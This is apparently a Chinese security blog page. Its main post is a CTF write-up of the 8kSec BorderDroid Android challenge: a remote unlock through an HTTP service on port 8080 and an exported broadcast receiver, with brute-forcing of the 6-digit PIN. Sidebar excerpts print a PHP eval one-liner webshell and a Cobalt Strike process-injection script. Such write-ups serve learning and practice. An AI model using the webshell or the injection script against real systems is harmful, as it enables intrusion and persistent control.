8kSec BorderDroid International Border Protection writeup

 查看AndroidManifest.xml发现com.eightksec.borderdroid.receiver.RemoteTriggerReceiver是导出的，可以通过adb 发送广播解锁，但是题目的要求说攻击不应要求设备具有 root 权限，启用 USB 调试可用于侦查，但为使其符合实际情况，本挑战的解决方案应坚持使用 "非 USB 攻击"，所以这不是最优解。但是题目又提到“设备被扣押时，仍连接到不安全的机场 WiFi 网络”，推测大概是通过网络层面发起攻击。这里注意到一个服务com.eightksec.borderdroid.service.HttpUnlockService，虽然没有导出。

 服务启动的时候会监听8080端口


 netstat看下
正在上传：已上传 8669 字节（共 8669 字节）。


当收到/unlock请求且post数据包是json格式时，形如：{"pin": 111111}，会调用broadcastVulnerableUnlockIntentWithPin


显然这个broadcastVulnerableUnlockIntentWithPin函数会发送广播到RemoteTriggerReceiver


RemoteTriggerReceiver验证pin值是对的后会调用performUnlockActions解锁屏幕


poc演示，当pin值正确时成功远程解锁:

当然，题目说“使用硬编码秘密来解决挑战也不是解决挑战的正确方法”，因为pin值是6位数，可遍历pin值爆破发送解锁请求。


评论

发表评论

此博客中的热门博文

Cobalt Strike automigrate自动迁移进程脚本

    metasploit有个功能叫auto migrate 可以自动把meterpreter移动到其他进程，不过Cobalt Strike却没有这个功能，在网上搜到一个移动到进程id的aggressor脚本，不过用了下发现有问题，另外如果只是想移动到指定id的进程的话还不如用Cobalt Strike自带的inject命令。遂想自己写个脚本，实现beacon上线后自动注入到指定进程名，还能根据当前的beacon所在的进程是32位还是64位来自动选择binject的注入类型。     先贴下写好的脚本内容： on beacon_initial { sub callback { $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+'; $listener = "test"; if ($2 ismatch $regex) { $pid = matched()[1]; $inject_pid = $pid; if (-is64 $1) { $arch = "x64"; } else { $arch = "x86"; } binject($1, $pid, $listener, $arch); } } if($inject_pid != beacon_info($1,"pid")) { bps($1, &callback); } }     脚本不难，讲下编写过程中遇到的几个坑：     1、正则表达式的编写     bps返回的进程列表大致如下：     sppsvc.exe 648 368     svchost.exe 648 444     WmiPrvSE.exe 788 1596     msdtc.exe 648 2740     .....     在写正则表达式的时候以为上面的进程列表每行字符串分割是空格，结果发现是tab（\t），另外每行是以\...
阅读全文

vultr安装kali linux 折腾笔记

图片
    打算在vultr上安装kali linux 2017.1 64位，可是安装完重启后kali又进入了安装界面，后来查到网上说系统安装到“finish the installation”这步时，移除ISO文件，避免再次从光盘启动，可是移除ISO重启后一直卡在启动界面，黑屏并提示“booting from disk”，重新安装多少次都无效。     一度怀疑kali 没有成功安装grub。搜索发现 How to set NOMODESET and other kernel boot options in grub2  提到最新的linux把视频模式集成到了内核中，但是一些视频卡有问题会导致黑屏，解决方式就是添加nomodeset参数让内核不去加载视频驱动而是使用bios模式直到X驱动加载完，也提到可以启动时按“e”来编辑grub配置。  The newest kernels have moved the video mode setting into the kernel. So all the programming of the hardware specific clock rates and registers on the video card happen in the kernel rather than in the X driver when the X server starts.. This makes it possible to have high resolution nice looking splash (boot) screens and flicker free transitions from boot splash to login screen. Unfortunately, on some cards this doesnt work properly and you end up with a black screen. Adding the nomodeset parameter instructs the kernel to not load video drivers and use BIOS modes instead until X is loa...
阅读全文

菜刀连接php一句话木马返回200的原因及解决方法

图片
    一句话木马的内容为“<?php @eval($_POST["abc"])?>”，用菜刀连接直接返回200          可是hackbar中执行命令却没有问题          很奇怪。后来在看雪上看到也有人发类似的 帖子 ，评论有人提到是php7版本过高的问题，搜了下确实是这样，php manual 中提到： Dynamic calls for certain functions have been forbidden (in the form of $func() or array_map('extract', ...), etc). These functions either inspect or modify another scope, and present with them ambiguous and unreliable behavior. The functions are as follows: assert() - with a string as the first argument      即php7中动态调用一些函数是被禁止的，比如在array_map中调用assert，否则会提示      Warning: Cannot call func_num_args() dynamically in %s on line %d     把一句话里的@符号去掉，则同样会报错“Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1 ”。       从返回内容可以看到php版本为7.1.6。抓包看了下菜刀的发包，的确用到了array_map("assert"..)          所以只要在菜刀的配置文件里把  array_map("a...
阅读全文